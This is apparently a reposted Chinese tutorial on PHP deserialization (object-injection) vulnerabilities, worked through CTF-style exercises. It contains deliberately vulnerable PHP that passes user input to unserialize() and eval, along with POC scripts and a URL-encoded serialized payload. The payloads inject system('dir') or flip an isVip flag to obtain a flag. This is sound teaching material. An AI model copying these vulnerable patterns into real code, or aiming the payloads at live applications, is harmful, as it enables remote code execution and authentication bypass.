PHP反序列化漏洞之产生原因(题目练习)

这篇具有很好参考价值的文章主要介绍了PHP反序列化漏洞之产生原因(题目练习)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1、反序列化漏洞的产生

PHP反序列化漏洞又叫做PHP对象注入漏洞,是因为程序对输入的序列化后的字符串处理不当导致的。反序列化漏洞的成因在于代码中的unserialize()接收参数可控,导致代码执行,SQL注入,目录遍历,getshell等后果。

一句话讲晒就是: 反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。

<?php

class xiaohua
{
    public $str = 'xiaohua';##成员变量,赋值

    function func()        //定义了成员方法
    {
        echo $this->str;        //调用str成员变量,并输出
        echo PHP_EOL;            //换行符
    }
}
    
$aa = new xiaohua;                //把类实体化为对象
$aa ->func();                    //在对象里,调用了func成员方法
//echo serialize(new xiaohua());    
$a ='O:7:"xiaohua":1:{s:3:"str";s:7:"chunerx";}';   //传参,给a赋值一串序列化后的字符串    
$b = unserialize($a);                                //反序列化变量a
print_r($b);
$b ->func();                                            ##漏洞出现的地方,序列化的字符串为    chunerx,没有调用类里的xiaohua,而是调用了xiaohua   (可控制的地方)

输出:

xiaohua
xiaohua Object
(
    [str] => chunerx
)
chunerx

练习一:

(把下面代码,写入phpstudy的web目录下,启动phpstudy,浏览器访问)

 <?php
error_reporting(0);
highlight_file(__FILE__);

class  xiaohua{
    public $str   =  'echo "benben";';
    function ben () {
        eval($this->str);
    }
}

$a = $_GET['benben'];
$b = unserialize($a);
$b ->ben();
?> 

PHP反序列化漏洞之产生原因(题目练习)

 代码分析:定义了名为xiaohua的类,共有属性成员变量str,内容为'echo "benben";',定义了ben的成员方法,作用是把 xiaohua类中的str成员变量的内容(echo "benben")作为php代码自行。

类外,通过get方法,传参,反序列化$a为对象,在对象里调用了ben的成员方法。

POC思路:

<?php
class  xiaohua{
    public $str   =  'system("dir");';
}

$a = new xiaohua();
echo serialize($a);

输出:

O:7:"xiaohua":1:{s:3:"str";s:14:"system("dir");";}

PHP反序列化漏洞之产生原因(题目练习)

原理:

原理上面也讲了,就是unserialize()方法,在接收到用户输入的序列化的代码后,调用了xiaohua这个类,但是在调用ben方法时,没有执行原本的代码(echo "benben"),而是执行了用户输入的代码(system("dir");),这就是漏洞的原理。

练习二:

 <?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');       // 包含同目录下的flag.php文件

class ctfshowUser{
    public $username='xxxx';    
    public $password='xxxx';
    public $isVip = false;                //默认isvip为false
    public function checkVip(){
        return $this->isVip;                //成员方法作用:检查isvip,为True返回1,为false返回0
    }

    public function login($u,$p){        //接收两个参数
        if($this->username===$u&&$this->password===$p){   //判断用户输入的用户和密码,是不是和规定的一样(username= xxxx,password=xxxx)
            $this->isVip=true;            //如果一样就把isvip改为true
        }
        return $this->isVip;               //不一样就返回默认的(false)
    }

    public function viponekeygetflag()        //方法作用:判断如果isvip为true,则调用$flag成员变量,输出$flag(flag.php文件中的flag)
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {                            //否则,输出no vip,no flag
            echo "no vip ,no flag";
        }
    }
}

$username=$_GET['username'];        //通过get传参username
$password=$_GET['password'];        //通过get传参username


if(isset($username) && isset($password)){     //isset 判断有没有输入username和password ,有则返回一个执行下面的代码,没有停止。
    $user = new ctfshowUser();        //实体化对象
    if($user->login($username,$password)){        //调用了login方法,如果返回isvip=true执行下面的代码,否则执行else
        if($user->checkVip()){
            $user->viponekeygetflag();        //调用vipopenkey。。。方法        
        }
    }else{
        echo "no vip,no flag";
    }
} 

 思路:(就是你输入的要和规定了一样)

PHP反序列化漏洞之产生原因(题目练习)

 练习二进阶:(反序列化)

 <?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');

class ctfshowUser{
    public $username='xxxx';
    public $password='xxxx';
    public $isVip = false;
    public function checkVip(){
        return $this->isVip;
    }

    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }

    public function viponekeygetflag()
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {
            echo "no vip ,no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];


if(isset($username) && isset($password)){     //isset 判断有没有输入username和password ,有则返回一个1,没有返回空。
    $user = unserialize($_COOKIE['user']);        //通过cooike传参
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->viponekeygetflag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

这道题:

减少了用户输入username=xxxx&password=xxxx后,isvip状态不会更改为true(关键的地方)

POC思路:

<?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');

class ctfshowUser{
    public $username='xxxx';
    public $password='xxxx';
    public $isVip = true;
}

echo serialize(new ctfshowUser());

它不修改isvip状态,那我们自己修改(把isvip改为true)

把序列化后的字符串,通过cookie传参。

PHP反序列化漏洞之产生原因(题目练习)

练习三

 __construct (new 对象的时候,触发)和__destruct(new 对象 和unserialize 触发)

如果new 对象时,__construct和__destruct都有,先执行__construct

 <?php
error_reporting(0);
highlight_file(__FILE__);

class index
{
    private $test;
    public function __construct()
    {
        $this->test=new normal();        //作用为 实体化normal类为对象
    }
    public function __destruct()
    {
        $this->test->action();            //作用 调用action方法(两个)
    }
}
class normal {
    public function action(){
        echo "please attack me";          // 这个action 是输出 一段字段串
    }
}
class evil {
    var $test2;
    public function action(){
        eval ($this->test2);            //把$test2中的字符串,作为php代码执行
    }
}
unserialize($_GET['test']);
?> 

 思路:

首先时反序列化漏洞,我们要构造序列化poc,所以我们得new,之后才能serialize,serialize会触发__construct。但是题目中触发的时new normal,normal直接输出please attack me。没有

所以我们让serialize 触发__construct后,让它去 new evil。

构造POC:

因为test成员变量为私有属性,所以poc代码需要urlencode,不然执行不了。

<?php
error_reporting(0);
highlight_file(__FILE__);

class index
{
    private $test;
    public function __construct()
    {
        $this->test=new evil();
    }
}

class evil {
    var $test2="system('dir');";
    public function action(){
        eval ($this->test2);
    }
}
$a = new index();
echo urlencode(serialize($a));
?>

 poc:

O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A14%3A%22system%28%27dir%27%29%3B%22%3B%7D%7D

输出

PHP反序列化漏洞之产生原因(题目练习)文章来源地址https://www.toymoban.com/news/detail-455869.html

到了这里,关于PHP反序列化漏洞之产生原因(题目练习)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • PHP反序列化漏洞原理

    1、原理: 序列化与反序列化是保证数据一致性的过程。 2、产生: 序列化与反序列化的过程中,用户可控 如果反序列化的参数受到攻击者的控制,就会产生漏洞。攻击者可以通过修改参数个数等方式来控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。

    2024年01月16日
    浏览(62)
  • PHP反序列化漏洞之魔术方法

    PHP魔术方法 (Magic Methods) 是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct() 、 __toString() 等。 魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性

    2024年02月16日
    浏览(50)
  • 反序列化漏洞及PHP魔法函数

    目录 1、漏洞原理 2、序列化(以PHP语言为例) 3、反序列化 4、PHP魔法函数 (1)__wakeup() (2)__destruct() (3)__construct() (4)__toString() (5)__get() (6)__call() PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反

    2024年02月04日
    浏览(60)
  • PHP反序列化漏洞-魔术方法绕过

    一、__wakeup()魔法函数绕过: 在PHP中,__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。 当反序列化字符串中的对象属性个数大于实际属性个数时 ,可以利用这个漏洞进行绕过。 触发条件: PHP版本为5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的对

    2024年01月18日
    浏览(55)
  • PHP反序列化漏洞-字符串逃逸

    字符串逃逸(闭合) 字符串逃逸(闭合)是一种在反序列化函数可控的情况下,通过修改序列化字符串中的敏感字符来达到字符串逃逸的方法。 具体而言,可以通过修改变量名等个数,使得序列化字符串中的字符个数与实际变量值个数不一致 。由于反序列化机制要求字符串

    2024年01月20日
    浏览(58)
  • php魔术方法和反序列化漏洞

    漏洞形成的根本原因就是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。 反序列化是字节流转对象的过程

    2024年02月09日
    浏览(55)
  • PHP反序列化漏洞(最全面最详细有例题)

    靶场搭建: 所有例题靶场里面都有 直接把文件放在phpstudy的目录下,或者用docker打开都行 类的结构,类的内容,实例化和赋值,类的修饰符介绍 外部可以用调用public属性,类的内部可以调用protected,public属性成员属性。都不能调用private属性的成员 private属性变量,会在其前面

    2024年02月10日
    浏览(55)
  • CTF-PHP反序列化漏洞1-基础知识

    作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半

    2023年04月15日
    浏览(45)
  • 38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。 反序列化:从存储区中读取该数据,并将其还原为对象的过程,成为反序列化。 1、主函数: 调用序列化方法 将反序列化的的结果

    2024年01月25日
    浏览(48)
  • 37-WEB漏洞-反序列化之PHP&JAVA全解(上)

    未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。 2.1.1、本地 unserialize2.php flag.

    2024年01月22日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包